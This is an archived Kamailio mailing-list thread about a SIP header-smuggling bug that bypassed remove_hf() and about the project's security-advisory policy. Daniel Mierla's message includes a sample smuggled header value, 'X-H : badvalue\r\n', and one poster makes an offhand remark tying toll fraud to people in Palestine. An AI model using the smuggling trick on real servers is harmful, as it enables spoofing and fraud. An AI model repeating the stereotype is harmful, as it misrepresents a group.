<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
3:26 p.m.
On 22 Sep 2020, at 13:30, Gerry | Rigatta
<gjacobsen(a)rigatta.com> wrote:
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is
missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling
for “Kamailio security” reveals
https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html
<https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html> as the
most comprehensive source. However it lacks this latest header bug.
https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
Maybe we should make it easier to find from the home page as you did not find it.
/O
My suggestion would be to create a special “Security
Advisories” page on the kamailio website which points to security news, so that Google
indexes that page. As for example Asterisk has
https://www.asterisk.org/downloads/security-advisories/
<https://www.asterisk.org/downloads/security-advisories/>
And create on github an extra “security” label so one can filter for that.
https://github.com/kamailio/kamailio/labels
<https://github.com/kamailio/kamailio/labels>
And then point from the above mentioned “Security Advisories” page to a filtered github
view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
On 22 Sep 2020, at 12:55, Daniel-Constantin
Mierla <miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote:
At least in my case you push out some inaccurate information. I never said my
"deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively
quoting from my message: "None of my deployments were affected."
from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.ht…
<https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html> . If I am
mistaken and you found another remark from me, just point to my message from where you got
that.
So, for further clarification: either non standard headers were used for non-security
related features (e.g., used for troubleshooting purposes) or the issue didn't affect
the deployments from different perspective (e.g., traffic was checked to be from a trusted
source).
And remember that the issue was not with remove_hf() function itself, like it is somehow
propagated by blog posts, but it was in the parser, so use of custom headers between two
kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value
added by previous Kamailio), not what a bad actor would add as "X-H :
badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories
about. Have you analysed the code and found cases where security was affected, or is just
your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security
implication. I am more that happy when someone does it and let's everyone be aware of,
also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory
leak, I haven't spent time on going deeper to find the specific cases, From header
should be parsed in SIP requests. My commit was done based on a static code analyzer and
again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and
len), many of the "safety" commits done lately were to silent static code
analysers, not meaning that it was a real issue found behind. Some can be, and here we
appreciate the time and effort of people like you to dissect them and make appropriate
advisories.
I would like people do verify what they write about what specific people (of course,
specially for my person) said before pushing out, and eventually validate a commit to fix
something has security impact, instead of just personal guessing, if the intention is to
help the project and not to create more confusion or other reactions for what so ever
reasons.
This should be my last comment on the thread, I do not want to spend any more time in
clarifying what people think I said or I did.
Cheers,
Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users I know I am waking up an old debate by replying
to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I
spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions
debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
<https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/>
The ToC:
Introduction
A bit of background before diving in
Claim: this issue does not affect many organisations
Claim: custom headers are only known to internal users
Claim: if it’s an 18 year old bug, it can’t have been high risk
Claim: this should have been found if people were doing proper testing
Claim: infrequent advisories = project is not serious about security
Claim: limited number of advisories = project is more secure
Claim: if you’re serious about security, monitor the mailing lists
Claim: security experts should decide what is a security vulnerability
Discussion: when should the project publish an advisory?
Discussion: educational security role
Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
<https://keybase.io/sandrogauci>
Our blog: https://www.rtcsec.com
<https://www.rtcsec.com/>
Other points of contact: https://enablesecurity.com/#contact-us
<https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
<https://www.paypal.me/dcmierla>_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users> Well, you have defined one definitive line
between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining
the bug we had and what it can cause.
We should definitely add a warning along the lines you write too - relying on headers
alone is bad and not best current practise.
/O
> On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere(a)gmail.com
<mailto:davy.van.de.moere@gmail.com>> wrote:
>
> After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system
where the security of the whole relies on the ability to remove (or only keep specific)
custom sip headers, you will wake up one morning realizing a bunch of people in Palestine
made a gazillion calls over your system to expensive destinations, bringing you to or over
the edge of bankruptcy.
>
> Security should be multilayered, one header sneaking through should not give any big
problems.
>
> From a security point of view, this could be called a 'normal' security risk,
I think. It's a bit more than low as you can do more than just get some info, but
it's not high, as you would need to have many other factors going wrong to get to a
successful exploit.
>
>
>
>
> Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>:
> One thought - we may have to separate security vulnerability reporting from security
advisory documents. I think in some cases, where a common use of a product can lead to
issues (but it is not clearly a bug that cause crashes in our code) we may have to send
out an advisory and publish it in the same way. The problem with that is where the border
is between just doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
>
> We had a long and hard discussion about this in the Asterisk project many years ago -
a very common dialplan construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan
construct that existed in many, many production systems. In the end, if I remember
correctly, the project issued an advisory and added a README about it.
>
> Maybe that’s a way forward.
>
> /O
>
>> On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
>>
>> Hello Maxim,
>>
>> have a look to the first sentence:
>>
>> “A security vulnerability is (for example) when a user of Kamailio can cause
Kamailio to crash or lock up by sending messages to the server process.”
>>
>> So there is some limitation regarding vulnerability criticality defined in there.
But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring
instead.
>>
>> Cheers,
>>
>> Henning
>>
>> From: Maxim Sobolev <sobomax(a)sippysoft.com
<mailto:sobomax@sippysoft.com>>
>> Sent: Wednesday, September 2, 2020 9:15 PM
>> To: Henning Westerholt <hw(a)skalatan.de <mailto:hw@skalatan.de>>
>> Cc: Daniel-Constantin Mierla <miconda(a)gmail.com
<mailto:miconda@gmail.com>>; yufei.tao(a)gmail.com
<mailto:yufei.tao@gmail.com>; Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>; Gerry | Rigatta <gjacobsen(a)rigatta.com
<mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>>;
jbrower(a)signalogic.com <mailto:jbrower@signalogic.com>
>> Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to
bypass of remove_hf
>>
>> On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
>> Hello Maxim,
>>
>> thank you for the clarification, appreciated.
>>
>> No worries, hope to have a civilized discussion.
>>
>> Just one clarification, my comment regarding the advisory from 2018 was not meant
as advertisement etc..
>>
>> Point taken, I dramatized of course to underline my point.
>>
>> One suggestion to objectify the whole discussion, there exists a well-known and
accepted metric for vulnerabilities: CVSS [1]
>> If I calculate the CVSS score for this issue, it results in a medium level with
score 5.8. But this is of course again (at least somewhat) influenced from my point of
view to this bug.
>>
>> Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet defined in a
detailed way, due to the size of the project and other factors.
>>
>> So, If people in this discussion (or other people on the list) are interested in
improving the project security processes – this wiki page with the current process might
be a good starting point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
>>
>> Please suggest your improvements to the existing process (preferable in a new
discussion thread) on the sr-dev list. If you want to do it in private, feel free contact
the management list.
>>
>> Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says plain and
simple (quote):
>>
>> Publishing security vulnerabilities
>>
>> Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org <http://kamailio.org/> web site.
>>
>> CVE entries should be created for vulnerabilities in the core and major modules,
for rarely used modules this is not necessary. If there are several security issues
together in one release, they should be announced together.
>>
>> I might be missing something obvious, but there is no "if" or
"maybe" or "it depends". Any module that has been 18 years with the
project qualifies to be a "major module" to me...
>>
>> -Max
>
>
> _______________________________________________
> Kamailio (SER) - Users Mailing List
> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
> _______________________________________________
> Kamailio (SER) - Users Mailing List
> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
4:19 p.m.
Hi Olle,
the page you are pointing to does not contain any Kamailio security advisories. What is
needed is a timeline of advisories so one can and understand whether one's system is
vulnerable, and what the vulnerability is - like this:
https://www.asterisk.org/downloads/security-advisories/
<https://www.asterisk.org/downloads/security-advisories/>
As mentioned it would be also helpful to label github issues so one can filter for
security issues.
Best Gerry
On 22 Sep 2020, at 15:26, Olle E. Johansson
<oej(a)edvina.net> wrote:
On 22 Sep 2020, at 13:30, Gerry | Rigatta
<gjacobsen(a)rigatta.com <mailto:gjacobsen@rigatta.com>> wrote:
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is
missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling
for “Kamailio security” reveals
https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html
<https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html> as the
most comprehensive source. However it lacks this latest header bug.
https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
Maybe we should make it easier to find from the home page as you did not find it.
/O
My suggestion would be to create a special
“Security Advisories” page on the kamailio website which points to security news, so that
Google indexes that page. As for example Asterisk has
https://www.asterisk.org/downloads/security-advisories/
<https://www.asterisk.org/downloads/security-advisories/>
And create on github an extra “security” label so one can filter for that.
https://github.com/kamailio/kamailio/labels
<https://github.com/kamailio/kamailio/labels>
And then point from the above mentioned “Security Advisories” page to a filtered github
view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users On 22 Sep 2020, at 12:55, Daniel-Constantin
Mierla <miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote:
At least in my case you push out some inaccurate information. I never said my
"deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively
quoting from my message: "None of my deployments were affected."
from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.ht…
<https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html> . If I am
mistaken and you found another remark from me, just point to my message from where you got
that.
So, for further clarification: either non standard headers were used for non-security
related features (e.g., used for troubleshooting purposes) or the issue didn't affect
the deployments from different perspective (e.g., traffic was checked to be from a trusted
source).
And remember that the issue was not with remove_hf() function itself, like it is somehow
propagated by blog posts, but it was in the parser, so use of custom headers between two
kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value
added by previous Kamailio), not what a bad actor would add as "X-H :
badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories
about. Have you analysed the code and found cases where security was affected, or is just
your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security
implication. I am more that happy when someone does it and let's everyone be aware of,
also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory
leak, I haven't spent time on going deeper to find the specific cases, From header
should be parsed in SIP requests. My commit was done based on a static code analyzer and
again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and
len), many of the "safety" commits done lately were to silent static code
analysers, not meaning that it was a real issue found behind. Some can be, and here we
appreciate the time and effort of people like you to dissect them and make appropriate
advisories.
I would like people do verify what they write about what specific people (of course,
specially for my person) said before pushing out, and eventually validate a commit to fix
something has security impact, instead of just personal guessing, if the intention is to
help the project and not to create more confusion or other reactions for what so ever
reasons.
This should be my last comment on the thread, I do not want to spend any more time in
clarifying what people think I said or I did.
Cheers,
Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users I know I am waking up an old debate by replying
to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I
spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions
debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
<https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/>
The ToC:
Introduction
A bit of background before diving in
Claim: this issue does not affect many organisations
Claim: custom headers are only known to internal users
Claim: if it’s an 18 year old bug, it can’t have been high risk
Claim: this should have been found if people were doing proper testing
Claim: infrequent advisories = project is not serious about security
Claim: limited number of advisories = project is more secure
Claim: if you’re serious about security, monitor the mailing lists
Claim: security experts should decide what is a security vulnerability
Discussion: when should the project publish an advisory?
Discussion: educational security role
Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
<https://keybase.io/sandrogauci>
Our blog: https://www.rtcsec.com
<https://www.rtcsec.com/>
Other points of contact: https://enablesecurity.com/#contact-us
<https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
> Well, you have defined one definitive line between being stupid and following some
current practise :-)
>
> I like to think we as a project have an educational role as well. In this case
explaining the bug we had and what it can cause.
> We should definitely add a warning along the lines you write too - relying on headers
alone is bad and not best current practise.
>
> /O
>
>> On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere(a)gmail.com
<mailto:davy.van.de.moere@gmail.com>> wrote:
>>
>> After 20 years in voip, my 2 cents on this, if you succeed in creating a voip
system where the security of the whole relies on the ability to remove (or only keep
specific) custom sip headers, you will wake up one morning realizing a bunch of people in
Palestine made a gazillion calls over your system to expensive destinations, bringing you
to or over the edge of bankruptcy.
>>
>> Security should be multilayered, one header sneaking through should not give any
big problems.
>>
>> From a security point of view, this could be called a 'normal' security
risk, I think. It's a bit more than low as you can do more than just get some info,
but it's not high, as you would need to have many other factors going wrong to get to
a successful exploit.
>>
>>
>>
>>
>> Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>:
>> One thought - we may have to separate security vulnerability reporting from
security advisory documents. I think in some cases, where a common use of a product can
lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to
send out an advisory and publish it in the same way. The problem with that is where the
border is between just doing stupid things like taking SQL statements from SIP headers and
issues like this that are harder to catch.
>>
>> We had a long and hard discussion about this in the Asterisk project many years
ago - a very common dialplan construct (that was documented in many places) was indeed
very dangerous. It wasn’t any code in asterisk that caused the issue, just a common
dialplan construct that existed in many, many production systems. In the end, if I
remember correctly, the project issued an advisory and added a README about it.
>>
>> Maybe that’s a way forward.
>>
>> /O
>>
>>> On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
>>>
>>> Hello Maxim,
>>>
>>> have a look to the first sentence:
>>>
>>> “A security vulnerability is (for example) when a user of Kamailio can cause
Kamailio to crash or lock up by sending messages to the server process.”
>>>
>>> So there is some limitation regarding vulnerability criticality defined in
there. But of course (as I already mentioned), it might be improved to e.g. use CVSS
scoring instead.
>>>
>>> Cheers,
>>>
>>> Henning
>>>
>>> From: Maxim Sobolev <sobomax(a)sippysoft.com
<mailto:sobomax@sippysoft.com>>
>>> Sent: Wednesday, September 2, 2020 9:15 PM
>>> To: Henning Westerholt <hw(a)skalatan.de <mailto:hw@skalatan.de>>
>>> Cc: Daniel-Constantin Mierla <miconda(a)gmail.com
<mailto:miconda@gmail.com>>; yufei.tao(a)gmail.com
<mailto:yufei.tao@gmail.com>; Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>; Gerry | Rigatta <gjacobsen(a)rigatta.com
<mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>>;
jbrower(a)signalogic.com <mailto:jbrower@signalogic.com>
>>> Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due
to bypass of remove_hf
>>>
>>> On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
>>> Hello Maxim,
>>>
>>> thank you for the clarification, appreciated.
>>>
>>> No worries, hope to have a civilized discussion.
>>>
>>> Just one clarification, my comment regarding the advisory from 2018 was not
meant as advertisement etc..
>>>
>>> Point taken, I dramatized of course to underline my point.
>>>
>>> One suggestion to objectify the whole discussion, there exists a well-known
and accepted metric for vulnerabilities: CVSS [1]
>>> If I calculate the CVSS score for this issue, it results in a medium level
with score 5.8. But this is of course again (at least somewhat) influenced from my point
of view to this bug.
>>>
>>> Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet defined in a
detailed way, due to the size of the project and other factors.
>>>
>>> So, If people in this discussion (or other people on the list) are interested
in improving the project security processes – this wiki page with the current process
might be a good starting point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
>>>
>>> Please suggest your improvements to the existing process (preferable in a new
discussion thread) on the sr-dev list. If you want to do it in private, feel free contact
the management list.
>>>
>>> Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says plain and
simple (quote):
>>>
>>> Publishing security vulnerabilities
>>>
>>> Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org <http://kamailio.org/> web site.
>>>
>>> CVE entries should be created for vulnerabilities in the core and major
modules, for rarely used modules this is not necessary. If there are several security
issues together in one release, they should be announced together.
>>>
>>> I might be missing something obvious, but there is no "if" or
"maybe" or "it depends". Any module that has been 18 years with the
project qualifies to be a "major module" to me...
>>>
>>> -Max
>>
>>
>> _______________________________________________
>> Kamailio (SER) - Users Mailing List
>> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
>> _______________________________________________
>> Kamailio (SER) - Users Mailing List
>> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
>
> _______________________________________________
> Kamailio (SER) - Users Mailing List
> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
<https://www.paypal.me/dcmierla>_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
4:25 p.m.
On 22 Sep 2020, at 16:19, Gerry | Rigatta
<gjacobsen(a)rigatta.com> wrote:
Hi Olle,
the page you are pointing to does not contain any Kamailio security advisories. What is
needed is a timeline of advisories so one can and understand whether one's system is
vulnerable, and what the vulnerability is - like this:
https://www.asterisk.org/downloads/security-advisories/
<https://www.asterisk.org/downloads/security-advisories/>
When we publish
advisories, there will be a timeline of them.
As mentioned it would be also helpful to label github issues so one can filter for
security issues.
As many have stated here, we are looking for volonteers to help.
Most developers are aiming to fix issues quickly as they pop up.
As I stated earlier, this requires a larger discussion between developers. Thanks for your
input!
Trust me, what you add here is something we have discussed many times before, not just now
and we are very well aware of it.
/O
Best Gerry
On 22 Sep 2020, at 15:26, Olle E. Johansson
<oej(a)edvina.net <mailto:oej@edvina.net>> wrote:
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users On 22 Sep 2020, at 13:30, Gerry | Rigatta
<gjacobsen(a)rigatta.com <mailto:gjacobsen@rigatta.com>> wrote:
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is
missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling
for “Kamailio security” reveals
https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html
<https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html> as the
most comprehensive source. However it lacks this latest header bug.
https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
Maybe we should make it easier to find from the home page as you did not find it.
/O
My suggestion would be to create a special
“Security Advisories” page on the kamailio website which points to security news, so that
Google indexes that page. As for example Asterisk has
https://www.asterisk.org/downloads/security-advisories/
<https://www.asterisk.org/downloads/security-advisories/>
And create on github an extra “security” label so one can filter for that.
https://github.com/kamailio/kamailio/labels
<https://github.com/kamailio/kamailio/labels>
And then point from the above mentioned “Security Advisories” page to a filtered github
view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users On 22 Sep 2020, at 12:55, Daniel-Constantin
Mierla <miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote:
At least in my case you push out some inaccurate information. I never said my
"deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively
quoting from my message: "None of my deployments were affected."
from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.ht…
<https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html> . If I am
mistaken and you found another remark from me, just point to my message from where you got
that.
So, for further clarification: either non standard headers were used for non-security
related features (e.g., used for troubleshooting purposes) or the issue didn't affect
the deployments from different perspective (e.g., traffic was checked to be from a trusted
source).
And remember that the issue was not with remove_hf() function itself, like it is somehow
propagated by blog posts, but it was in the parser, so use of custom headers between two
kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value
added by previous Kamailio), not what a bad actor would add as "X-H :
badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories
about. Have you analysed the code and found cases where security was affected, or is just
your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security
implication. I am more that happy when someone does it and let's everyone be aware of,
also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory
leak, I haven't spent time on going deeper to find the specific cases, From header
should be parsed in SIP requests. My commit was done based on a static code analyzer and
again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and
len), many of the "safety" commits done lately were to silent static code
analysers, not meaning that it was a real issue found behind. Some can be, and here we
appreciate the time and effort of people like you to dissect them and make appropriate
advisories.
I would like people do verify what they write about what specific people (of course,
specially for my person) said before pushing out, and eventually validate a commit to fix
something has security impact, instead of just personal guessing, if the intention is to
help the project and not to create more confusion or other reactions for what so ever
reasons.
This should be my last comment on the thread, I do not want to spend any more time in
clarifying what people think I said or I did.
Cheers,
Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
> I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
>
> Finally got around to writing up a blog post about this very thread where I (think) I
spared absolutely no one, not even myself.
>
> My post is called "The great Kamailio security debate and some misconceptions
debunked" and can be read here:
>
> https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
<https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/>
>
> The ToC:
> Introduction
> A bit of background before diving in
> Claim: this issue does not affect many organisations
> Claim: custom headers are only known to internal users
> Claim: if it’s an 18 year old bug, it can’t have been high risk
> Claim: this should have been found if people were doing proper testing
> Claim: infrequent advisories = project is not serious about security
> Claim: limited number of advisories = project is more secure
> Claim: if you’re serious about security, monitor the mailing lists
> Claim: security experts should decide what is a security vulnerability
> Discussion: when should the project publish an advisory?
> Discussion: educational security role
> Moving forward
> Hope that it is at least interesting and perhaps even constructive!
>
> Best wishes,
>
> --
>
> Sandro Gauci, CEO at Enable Security GmbH
>
> Register of Companies: AG Charlottenburg HRB 173016 B
> Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
> PGP/Encrypted comms: https://keybase.io/sandrogauci
<https://keybase.io/sandrogauci>
> Our blog: https://www.rtcsec.com
<https://www.rtcsec.com/>
> Other points of contact: https://enablesecurity.com/#contact-us
<https://enablesecurity.com/#contact-us>
>
>
>
> On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
>> Well, you have defined one definitive line between being stupid and following
some current practise :-)
>>
>> I like to think we as a project have an educational role as well. In this case
explaining the bug we had and what it can cause.
>> We should definitely add a warning along the lines you write too - relying on
headers alone is bad and not best current practise.
>>
>> /O
>>
>>> On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere(a)gmail.com
<mailto:davy.van.de.moere@gmail.com>> wrote:
>>>
>>> After 20 years in voip, my 2 cents on this, if you succeed in creating a voip
system where the security of the whole relies on the ability to remove (or only keep
specific) custom sip headers, you will wake up one morning realizing a bunch of people in
Palestine made a gazillion calls over your system to expensive destinations, bringing you
to or over the edge of bankruptcy.
>>>
>>> Security should be multilayered, one header sneaking through should not give
any big problems.
>>>
>>> From a security point of view, this could be called a 'normal'
security risk, I think. It's a bit more than low as you can do more than just get some
info, but it's not high, as you would need to have many other factors going wrong to
get to a successful exploit.
>>>
>>>
>>>
>>>
>>> Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>:
>>> One thought - we may have to separate security vulnerability reporting from
security advisory documents. I think in some cases, where a common use of a product can
lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to
send out an advisory and publish it in the same way. The problem with that is where the
border is between just doing stupid things like taking SQL statements from SIP headers and
issues like this that are harder to catch.
>>>
>>> We had a long and hard discussion about this in the Asterisk project many
years ago - a very common dialplan construct (that was documented in many places) was
indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common
dialplan construct that existed in many, many production systems. In the end, if I
remember correctly, the project issued an advisory and added a README about it.
>>>
